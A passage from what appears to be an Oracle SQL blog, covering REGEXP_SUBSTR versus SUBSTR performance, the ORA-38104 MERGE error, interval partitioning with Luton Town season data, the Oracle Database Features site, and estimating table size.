    decode( instr(episode, '|',1, 7), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,7) + 1)) as "Rogue One",
    decode( instr(episode, '|',1, 8), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,8) + 1)) as "Solo",
    decode( instr(episode, '|',1, 9), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,9) + 1)) as "The Last Jedi",
    decode( instr(episode, '|',1, 10), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,10) + 1)) as "The Rise of Skywalker"
from galaxy
/

Yes, I have cheated a bit on the aesthetics here by using the more compact DECODE instead of CASE.
However, this does not affect the runtime of the query, which is a bit faster than the pure REGEXP_SUBSTR equivalent :

1100000 rows selected.

Elapsed: 00:00:30.83

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   35857680  bytes sent via SQL*Net to client                                                                                     
     810158  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

The performance of the Hybrid approach does raise the question of how the REGEXP_SUBSTR compares when we’re just looking to extract a single field from a string, rather than all of them…

In this instance we’re just looking for the first field in EPISODES.

In this context, the hybrid approach doesn’t apply because we’re always starting our search at the start of the input string.

Starting, once again with the Standard approach :

select id, 
    substr
    (
        episode, 1, 
        case 
            when instr(episode, '|', 1,1) > 0 then instr(episode, '|', 1,1) -1 
            else length(episode) 
        end 
    ) as "A New Hope"
from galaxy
/

1100000 rows selected.

Elapsed: 00:00:05.33

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   25086067  bytes sent via SQL*Net to client                                                                                     
     808790  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

Now for REGEXP_SUBSTR :

select id,
    regexp_substr( episode, '[^|]+') as "A New Hope"
from galaxy
/

1100000 rows selected.

Elapsed: 00:00:06.38

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   25086067  bytes sent via SQL*Net to client                                                                                     
     808868  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

Interestingly, whilst it’s still not as fast, the Regexp runtime is only 20% longer than the Standard.

This contrasts markedly with the 430% longer that the Regexp took for our first test.

Does this relative performance hold true for any single field in the input string ?

Starting with the Standard query :

select 
    id, 
    case when instr(episode, '|', 1, 10) > 0 then
        substr( episode, instr(episode, '|', 1, 10) + 1,
            case when instr(episode, '|', 1, 11) > 0 then instr(episode, '|',1, 11) - 1 else length(episode) end 
            -
            instr(episode, '|', 1, 10))
    end as "The Rise of Skywalker"                
from galaxy
/

1100000 rows selected.

Elapsed: 00:00:05.44

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   25686033  bytes sent via SQL*Net to client                                                                                     
     808915  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

Once again, the Regexp Query is much slower…

select 
    id,
    regexp_substr(episode, '[^|]+',1, 11) as "The Rise of Skywalker"
from galaxy 
/

1100000 rows selected.

Elapsed: 00:00:16.16

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   25686033  bytes sent via SQL*Net to client                                                                                     
     808888  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

…unless we use the hybrid approach…

select 
    id,
    decode( instr(episode, '|',1, 10), 0, null, regexp_substr(episode, '[^|]+', instr(episode, '|',1,10) + 1)) as "The Rise of Skywalker"
from galaxy 
/

1100000 rows selected.

Elapsed: 00:00:05.60

Execution Plan
----------------------------------------------------------                                                                        
Plan hash value: 3574103611                                                                                                       
                                                                                                                                  
----------------------------------------------------------------------------                                                      
| Id  | Operation         | Name   | Rows  | Bytes | Cost (%CPU)| Time     |                                                      
----------------------------------------------------------------------------                                                      
|   0 | SELECT STATEMENT  |        |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
|   1 |  TABLE ACCESS FULL| GALAXY |  1100K|    47M|  2089   (1)| 00:00:01 |                                                      
----------------------------------------------------------------------------                                                      


Statistics
----------------------------------------------------------                                                                        
          0  recursive calls                                                                                                      
          0  db block gets                                                                                                        
      80459  consistent gets                                                                                                      
       7616  physical reads                                                                                                       
          0  redo size                                                                                                            
   25686033  bytes sent via SQL*Net to client                                                                                     
     808736  bytes received via SQL*Net from client                                                                               
      73335  SQL*Net roundtrips to/from client                                                                                    
          0  sorts (memory)                                                                                                       
          0  sorts (disk)                                                                                                         
    1100000  rows processed                                                                                                       

These tests seem to bear out the fact that, in general, SUBSTR offers better performance than REGEXP_SUBSTR.
However, the performance of REGEXP_SUBSTR can be greatly improved if used in conjunction with INSTR.
As always, the decision as to which function to use will depend on the specific circumstances you find yourself in.

I do have some empathy with Lauren James getting quite cross at work.
OK, it’s not as pressurised as striving to reach a World Cup Quarter Final, but I am known to become somewhat annoyed when Oracle presents me with :

ORA-38104: Columns referenced in the ON Clause cannot be updated

The error itself is reasonable enough. The thing is though, that the offending merge statement will not trigger a compile-time error if it’s in a Stored Program Unit. Oh no.
Instead, Oracle will let you carry on in blissful ignorance and only give you the bad news at runtime…

Let’s say we have a table called TEAM_AVAILABILITY :

create table team_availability
(
    squad_number number,
    first_name varchar2(250),
    last_name varchar2(250),
    available_flag varchar2(1)
)
/

insert into team_availability( squad_number, first_name, last_name)
values( 1, 'Mary', 'Earps');

insert into team_availability( squad_number, first_name, last_name)
values( 2, 'Lucy', 'Bronze');

insert into team_availability( squad_number, first_name, last_name)
values( 3, 'Niamh', 'Charles');

insert into team_availability( squad_number, first_name, last_name)
values( 4, 'Keira', 'Walsh');

insert into team_availability( squad_number, first_name, last_name)
values( 5, 'Alex', 'Greenwood');

insert into team_availability( squad_number, first_name, last_name)
values( 6, 'Millie', 'Bright');

insert into team_availability( squad_number, first_name, last_name)
values( 7, 'Lauren', 'James');

insert into team_availability( squad_number, first_name, last_name)
values( 8, 'Georgia', 'Stanway');

insert into team_availability( squad_number, first_name, last_name)
values( 9, 'Rachel', 'Daly');

insert into team_availability( squad_number, first_name, last_name)
values( 10, 'Ella', 'Toone');

insert into team_availability( squad_number, first_name, last_name)
values( 11, 'Lauren', 'Hemp');

insert into team_availability( squad_number, first_name, last_name)
values( 12, 'Jordan', 'Nobbs');

insert into team_availability( squad_number, first_name, last_name)
values( 13, 'Hannah', 'Hampton');

insert into team_availability( squad_number, first_name, last_name)
values( 14, 'Lotte', 'Wubben-Moy');

insert into team_availability( squad_number, first_name, last_name)
values( 15, 'Esme', 'Morgan');

insert into team_availability( squad_number, first_name, last_name)
values( 16, 'Jess', 'Carter');

insert into team_availability( squad_number, first_name, last_name)
values( 17, 'Laura', 'Coombs');

insert into team_availability( squad_number, first_name, last_name)
values( 18, 'Chloe', 'Kelly');

insert into team_availability( squad_number, first_name, last_name)
values( 19, 'Bethany', 'England');

insert into team_availability( squad_number, first_name, last_name)
values( 20, 'Katie', 'Zelem');

insert into team_availability( squad_number, first_name, last_name)
values( 21, 'Ellie', 'Roebuck');

insert into team_availability( squad_number, first_name, last_name)
values( 22, 'Katie', 'Robinson');

insert into team_availability( squad_number, first_name, last_name)
values( 23, 'Alessia', 'Russo');

commit;

We have a procedure that we can use to mark a player as being unavailable for selection :

create or replace procedure mark_player_unavailable( i_squad_number team_availability.squad_number%type)
is
begin
    merge into team_availability
    using dual
    on
    (
        squad_number = i_squad_number
        and available_flag is null
    )
    when matched then update
        set available_flag = 'N';
end mark_player_unavailable;
/

When we create the procedure, everything seems fine…

Procedure MARK_PLAYER_UNAVAILABLE compiled

However, running it causes Oracle to do the equivalent of a VAR check, which results in :

As to why Oracle does this, other than to annoy me, I have no idea.
Then again, I’m not sure why I keep falling into this trap either.

To avoid this altogether, there are a couple of options…

We could simply use an update instead of a merge

create or replace procedure mark_player_unavailable( i_squad_number team_availability.squad_number%type)
is
begin
    update team_availability
    set available_flag = 'N'
    where squad_number = i_squad_number
    and available_flag is null;
end mark_player_unavailable;
/

However, if we still want to use a merge, then we need to use an inline view in the USING clause :

create or replace procedure mark_player_unavailable( i_squad_number team_availability.squad_number%type)
is
begin
    merge into team_availability ta
    using 
    (
        select tau.squad_number
        from team_availability tau
        where tau.squad_number = i_squad_number
        and tau.available_flag is null
    ) ilv    
    on
    (
        ta.squad_number = ilv.squad_number
    )
    when matched then update
        set ta.available_flag = 'N';
end mark_player_unavailable;
/

…which has the same result.

With my equanimity restored I can now reflect that yes, Womens football is different from the Mens. In the Womens game, England DO win penalty shoot-outs !

I wouldn’t say that Simon is obsessed about Luton Town FC, but he has been known to express his affection through the medium of creosote :

Needless to say, he’s quite looking forward to next season as the Hatters have completed their Lazarus-like resurrection from the depths of the Conference to the pinnacle of English football – the Premier League.
Over the years, I’ve occasionally accompanied Simon to Kennelworth Road to watch Luton battle their way through the divisions, so it’s only fitting that I should pay tribute to their achievement in the examples that follow.

The technical subject at hand here is the advantages available when using Interval Partitioning syntax to Range Partition a table by a date.

As we’re talking about partitioning, he’s the standard warning about licensing…

Partitioning is usually an additional cost option on the Enterprise Edition license. It’s a really good idea to make sure that whatever platform you’re on is appropriately licensed before you use this feature.

For this post, I’ll be using 23c Free, which does include Partitioning.

We’ll start by creating a conventional Range Partitioned table and see what happens when we try to create data in a non-existent partition.

We’ll then try the same thing, but this time using an Interval Partitioned Table.

Finally, we’ll take a look at the SQL functions available to define intervals when creating Interval Partitions.

For the purposes of this example, I’m going to create a table which holds details of Luton’s final record for a League Season. I’m going to arbitrarily “end” each season on 30th June each year.
I’m going to separate each year into it’s own partition.
Whilst this may not be a realistic use of partitioning – you’re unlikely to create a table to hold a single row per partition – it does simplify the examples that follow :

create table luton_seasons 
(
    season_end_date date,
    competition varchar2(25),
    games_played number,
    games_won number,
    games_drawn number,
    games_lost number,
    goals_for number,
    goals_against number,
    points number,
    finishing_position number,
    notes varchar2(4000)
)    
    partition by range( season_end_date)
    (
        partition season_2013_14 values less than (to_date ('01-JUL-2014', 'DD-MON-YYYY')),
        partition season_2014_15 values less than (to_date ('01-JUL-2015', 'DD-MON-YYYY')),
        partition season_2015_16 values less than (to_date ('01-JUL-2016', 'DD-MON-YYYY')),
        partition season_2016_17 values less than (to_date ('01-JUL-2017', 'DD-MON-YYYY')),
        partition season_2017_18 values less than (to_date ('01-JUL-2018', 'DD-MON-YYYY'))
    )
/

Populating the table works as you’d expect…

-- 2013-14
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2014', 'DD-MON-YYYY'),
    'Conference',
    46, 30, 11, 5, 102, 35, 101,
    1, 'Promoted back to the Football League !'
);

-- 2014-15
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2015', 'DD-MON-YYYY'),
    'League 2',
    46, 19, 11, 16, 54, 44, 68,
    8, null
);

-- 2015-16
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2016', 'DD-MON-YYYY'),
    'League 2',
    46, 19, 9, 18, 63, 61, 66, 
    11, null
);

-- 2016-17
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2017', 'DD-MON-YYYY'),
    'League 2',
    46, 20, 17, 9, 70, 43, 77, 
    4, 'Lost in Promotion Play-Off Semi-Final'
);

-- 2017-18
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2018', 'DD-MON-YYYY'),
    'League 2',
    46, 25, 13, 8, 94, 46, 88, 
    2, 'Promoted'
);

commit;

select season_end_date, competition, finishing_position, notes
from luton_seasons
order by season_end_date
/

SEASON_END_DATE COMPETITION   FINISHING_POSITION NOTES                                   
--------------- ----------- -------------------- ----------------------------------------
01-JUN-2014     Conference                     1 Promoted back to the Football League !  
01-JUN-2015     League 2                       8                                         
01-JUN-2016     League 2                      11                                         
01-JUN-2017     League 2                       4 Lost in Promotion Play-Off Semi-Final   
01-JUN-2018     League 2                       2 Promoted                                

5 rows selected. 

…until we try to insert a record for which a partition does not exist…

-- 2018-19
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2019', 'DD-MON-YYYY'),
    'League 1',
    46, 27, 13, 6, 90, 42, 94, 
    1, 'Champions ! Promoted to The Championship'
);

…when we are met with :

ORA-14400: no partition found in table MIKE.LUTON_SEASONS for inserted partition key "2019-06-01T00:00:00"

Wouldn’t it be good if we could just get Oracle to create partitions automatically, as and when they were needed ? Well, we can…

We’re going to re-create the table, but this time, we’re going to use Interval Partitioning :

drop table luton_seasons;

create table luton_seasons
(
season_end_date date,
competition varchar2(25),
games_played number,
games_won number,
games_drawn number,
games_lost number,
goals_for number,
goals_against number,
points number,
finishing_position number,
notes varchar2(4000)
)
partition by range( season_end_date)
interval (numtoyminterval(1, 'year'))
(
partition season_2013_14 values less than (to_date('01-JUL-2014', 'DD-MON-YYYY'))
)
/

We’re still partitioning by range. However, we’re now specifying an interval, in this case 1 year.
For now though, our chances of avoiding ORA-14400 don’t look good as we’ve only created one partition :

select partition_name, high_value
from user_tab_partitions
where table_name = 'LUTON_SEASONS'
order by 1;


PARTITION_NAME       HIGH_VALUE                                                                                
-------------------- ------------------------------------------------------------------------------------------
SEASON_2013_14       TO_DATE(' 2014-07-01 00:00:00', 'SYYYY-MM-DD HH24:MI:SS', 'NLS_CALENDAR=GREGORIAN')       

Side Note – In 23c Oracle have added HIGH_VALUE_CLOB and HIGH_VALUE_JSON to USER_TAB_PARTITIONS so you can access the partition HIGH_VALUE via a datatype that is more malleable than the LONG HIGH_VALUE column that’s been in this view since David Pleat was last Luton manager.

Anyhow, let’s give it a go :

insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2014', 'DD-MON-YYYY'),
    'Conference',
    46, 30, 11, 5, 102, 35, 101,
    1, 'Promoted back to the Football League !'
);

-- 2014-15
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2015', 'DD-MON-YYYY'),
    'League 2',
    46, 19, 11, 16, 54, 44, 68,
    8, null
);

-- 2015-16
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2016', 'DD-MON-YYYY'),
    'League 2',
    46, 19, 9, 18, 63, 61, 66, 
    11, null
);

-- 2016-17
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2017', 'DD-MON-YYYY'),
    'League 2',
    46, 20, 17, 9, 70, 43, 77, 
    4, 'Lost in Promotion Play-Off Semi-Final'
);

-- 2017-18
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2018', 'DD-MON-YYYY'),
    'League 2',
    46, 25, 13, 8, 94, 46, 88, 
    2, 'Promoted'
);

-- 2018-19
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2019', 'DD-MON-YYYY'),
    'League 1',
    46, 27, 13, 6, 90, 42, 94, 
    1, 'Champions ! Promoted to The Championship'
);

-- 2019-20

insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2020', 'DD-MON-YYYY'),
    'Championship',
    46, 14, 9, 23, 54, 82, 15, 
    19, null
);


-- 2020-21

insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2021', 'DD-MON-YYYY'),
    'Championship',
    46, 17, 11, 18, 41, 52, 62, 
    12, null
);

-- 2021-22
insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2022', 'DD-MON-YYYY'),
    'Championship',
    46, 21, 12, 13, 63, 55, 75, 
    6, 'Lost in Promotion Play-Off Semi-Final'
);

-- 2022-23

insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2023', 'DD-MON-YYYY'),
    'Championship',
    46, 21, 17, 8, 57, 39, 80, 
    3, 'Won Play-Off Final and promoted to Premiership !'
);

commit;

Oh look, that all worked :

…and the new partitions have been created automatically…

exec dbms_stats.gather_table_stats(user, 'LUTON_SEASONS');

select partition_name, high_value, num_rows
from user_tab_partitions t
where table_name = 'LUTON_SEASONS'
order by partition_position
/

We can further confirm that a particular partition holds just one record. For example :

select season_end_date, competition, finishing_position
from luton_seasons partition (SYS_P996);

…or, as we’re partitioning by date…

select season_end_date, competition, finishing_position
from luton_seasons partition for (to_date ('31-MAY-2019', 'DD-MON-YYYY'));

…confirms a single row in the partition…

SEASON_END_DATE                COMPETITION      FINISHING_POSITION
------------------------------ ---------------- ------------------
01-JUN-2019                    League 1                          1

1 row selected. 

Now, you’re probably thinking that Interval partitioning will ensure that your table is equi-partitioned in terms of time periods, provided the value of the partition key is inserted sequentially.
But what happens if you enter dates out-of-sequence ?

For example :

insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2025', 'DD-MON-YYYY'),
    'Premier League',
    38, 38, 0, 0, 112, 7, 114, 
    1, 'Clean sweep of trophies and a perfect season in one go !'
);


insert into luton_seasons
( 
    season_end_date,
    competition,
    games_played, games_won, games_drawn, games_lost, goals_for, goals_against, points,
    finishing_position, notes
)
values
(
    to_date('01-JUN-2024', 'DD-MON-YYYY'),
    'Premier League',
    38, 20, 10, 8, 64, 40, 70, 
    4, 'Champions League here we come !'
);

commit;

Now, you might think that Oracle would create the partition for values less than 01-JUL-2025 on the creation of the first record and then assign the second record to that partition as it already exists.
However, it’s actually smart enough to create the “missing” partition for the second insert :

select season_end_date, competition, finishing_position
from luton_seasons partition for (to_date ('01-JUN-2024', 'DD-MON-YYYY'))
order by 1;

SEASON_END_DATE                COMPETITION         FINISHING_POSITION
------------------------------ ------------------- ------------------
01-JUN-2024                    Premier League                       4

1 row selected. 

We can see that the table’s last partition by position has a lower system-generated number in it’s name than it’s predecessor, indicating that it was created first :

select partition_name, partition_position, high_value
from user_tab_partitions
where table_name = 'LUTON_SEASONS'
order by partition_position;

There are two functions that you can use when specifying an interval for your partitions :

• NumToYMInterval
• NumToDSInterval

Despite the camel-case formatting of these function names they are in-fact case insensitive when being used in SQL or PL/SQL.

NumToYMInterval lets you specify an interval in either ‘YEARS’ or ‘MONTHS’ :

select to_date('29-FEB-2020', 'DD-MON-YYYY') + numtoyminterval(4, 'year') as next_leap_year_day 
from dual;

NEXT_LEAP_YEAR_DAY            
------------------------------
29-FEB-2024

select to_date('01-JUL-2023', 'DD-MON-YYYY') + numtoyminterval(3, 'month') as start_q4_2023 
from dual;

START_Q4_2023                 
------------------------------
01-OCT-2023

NumToDSInterval

NumToDSInterval allows you to specify more granular intervals – i.e :

• DAY
• HOUR
• MINUTE
• SECOND

How long is a football match ?

select numToDSInterval(5400, 'second') as match_length
from dual;

select numtodsinterval(90, 'minute') as match_length
from dual;

select numToDSInterval(1.5, 'hour') as match_length
from dual;

select numtodsinterval(1.5/24, 'day') as match_length
from dual;

Each of these queries return :

MATCH_LENGTH                  
------------------------------
+00 01:30:00.000000

Note that I’ve included the FROM clause in the above queries because, until the full 23c release sees the light of day, we’ll still need to use it in the day job.

Whatever you’re planning to do to pass the time until …

alter session set nls_date_format='DD-MON-YYYY HH24:MI';

select 
    to_date('12-AUG_2023', 'DD-MON-YYYY') + numtodsinterval(15, 'hour') as kick_off
from dual;

…using interval partitioning means that it should involve less manual partition creation.

If there’s one thing Teddy approves of it’s eating you’re own Dog Food…although, he does appreciate the value of a varied diet…

Some nameless heroes in the Oracle Documentation Team seem to agree and have produced a publicly available APEX application which allows you to search:

• the features available in each successive Oracle release
• the various licensing options and packs available with each Edition

Time to head on over to the Oracle Database Features site and take a closer look…

I’ve heard a fair bit about schema only accounts. I wonder when they came along ?

It looks like they have been around since 18c with further enhancements in later releases.
If I want details on a particular listing, I can just click on the title :

As you can see, there’s also a link to the relevant documentation.

It’s also possible to do a less specific search. For example, if I’m looking to upgrade from 11.2 to 19c and I want to see all of the new features in all of the intermediate releases :

The application also allows you to focus on areas of interest.
For example, If I want to see what’s new in 21c as far as Analytic Functions are concerned,
I can choose Data Warehousing/Big Data as my focus area then further refine my search by specifying Analytic Functions as the Sub Area of Interest.
Together with checking 21c as the Version and that I’m interested in New features only, the Application returns this :

It’s worth noting that the information in this application is based on the New Features documentation for the respective Oracle versions. Therefore, whilst you’ll find an entry for the VALIDATE_CONVERSION SQL function, introduced in 12.1…

Selecting the Licensing tab reveals functionality for navigating the often complex area of Oracle Licensing.
For example, if we want to find out which Editions Partitioning is available on :

Once again, further details are available by clicking on the title of a result row :

The Oracle Database Features site is a welcome augmentation to the existing documentation.
It’s categorised and searchable content offer the potential for significant saving in time and effort, especially when you’re preparing to move between Oracle versions.

At a time when the debate rages about how much you should trust what AI tells you, it’s probably worth recalling Deep Thought’s wildly incorrect assertion that the answer to the Ultimate Question of Life, the Universe, and Everything is forty-two.
As any Database specialist will know, the answer is the same as it is to the question “How big is my Oracle Table ?” which is, of course, “It depends”.

What it depends on is whether you want to know the volume of data held in the table, or the amount of space the database is using to store the table and any associated segments (e.g. indexes).

Connecting to my trusty Free Tier OCI Oracle Instance ( running 19c Enterprise Edition), I’ve set out on my journey through (disk) space to see if I can find some more definitive answers…

Before going any further, I should be clear on the database language settings and character set that’s being used in the examples that follow. Note particularly that I’m not using a multi-byte character set :

select parameter, value    
from gv$nls_parameters
order by parameter
/


PARAMETER                      VALUE                         
------------------------------ ------------------------------
NLS_CALENDAR                   GREGORIAN                     
NLS_CHARACTERSET               AL32UTF8                      
NLS_COMP                       BINARY                        
NLS_CURRENCY                   £                             
NLS_DATE_FORMAT                DD-MON-YYYY                   
NLS_DATE_LANGUAGE              ENGLISH                       
NLS_DUAL_CURRENCY              €                             
NLS_ISO_CURRENCY               UNITED KINGDOM                
NLS_LANGUAGE                   ENGLISH                       
NLS_LENGTH_SEMANTICS           BYTE                          
NLS_NCHAR_CHARACTERSET         AL16UTF16                     
NLS_NCHAR_CONV_EXCP            FALSE                         
NLS_NUMERIC_CHARACTERS         .,                            
NLS_SORT                       BINARY                        
NLS_TERRITORY                  UNITED KINGDOM                
NLS_TIMESTAMP_FORMAT           DD-MON-RR HH24.MI.SSXFF       
NLS_TIMESTAMP_TZ_FORMAT        DD-MON-RR HH24.MI.SSXFF TZR   
NLS_TIME_FORMAT                HH24.MI.SSXFF                 
NLS_TIME_TZ_FORMAT             HH24.MI.SSXFF TZR             

19 rows selected. 

Now, let see if we can work out how much raw data is held in a table.
We’ll start with a very simple example :

create table marvin as
    select 1000 + rownum as id
    from dual
    connect by rownum <= 1024;

Marvin may have a brain the size of a planet but his tabular namesake has more modest space requirements.
It’s 1024 records are all 4 digits long.
Therefore, the size of the table data should be 4096 bytes, right ?

“Hang on”, your thinking, “why not just lookup the size in USER_SEGMENTS and make this a really short post ?”

Well :

select bytes
from user_segments
where segment_name = 'MARVIN'
and segment_type = 'TABLE'
/

     BYTES
----------
     65536

USER_SEGMENTS will give you a size in bytes, but it’s not the same as the amount of raw data.
We’ll come back to this in a bit.

For now though, we can cross-check the size from elsewhere in the data dictionary, provided the stats on the table are up-to-date.

To ensure that this is so, I can run :

exec dbms_stats.gather_table_stats('MIKE', 'MARVIN');

This will ensure that statistics data is populated in the USER_TABLES view. This means that we can estimate the data volume by running the following query :

select num_rows, avg_row_len,
    num_rows * avg_row_len as data_in_bytes
from user_tables
where table_name = 'MARVIN'
/

…which returns…

  NUM_ROWS AVG_ROW_LEN DATA_IN_BYTES
---------- ----------- -------------
      1024           4          4096

That looks promising.

We can further verify this by running :

select sum(length(id)) as data_in_bytes
from marvin
/

DATA_IN_BYTES
-------------
         4096

OK, now let’s see what happens with a slightly more complex data set, and an index as well …

create table hitchikers
(
    id number generated always as identity,
    character_name varchar2(250),
    quote varchar2(4000),
    constraint hitchikers_pk primary key (id)
)
/

declare
    procedure ins( i_character in varchar2, i_quote in varchar2) 
    is
    begin
        insert into hitchikers( character_name, quote)
        values(i_character, i_quote);
    end;
begin
    for i in 1..1024 loop
        ins('Deep Thought', 'Forty-Two');
        ins('Trillian', q'[we have normality... anything you can't cope with is, therefore, your own problem]');
        ins('Ford Prefect', 'Time is an illusion. Lunchtime doubly so.');
        ins('Zaphod Beeblebrox', q'[If there's anything more important than my ego around, I want it caught and shot right now!]');
        ins(null, 'Anyone who is capable of getting themselves made President should on no account be allowed to do the job');
        ins('Marvin', q'[Life! Loathe it or hate it, you can't ignore it.]');
        ins('Arthur Dent', 'This must be Thursday. I never could get the hang of Thursdays');
        ins('Slartibartfast', q'[I'd rather be happy than right any day]');
    end loop;
    commit;
end;
/
commit;

Once stats are present on the table, we can check the expected data size as before :

select num_rows, avg_row_length,
    num_rows * avg_row_length as data_in_bytes
from user_tables
where table_name = 'HITCHIKERS'
/

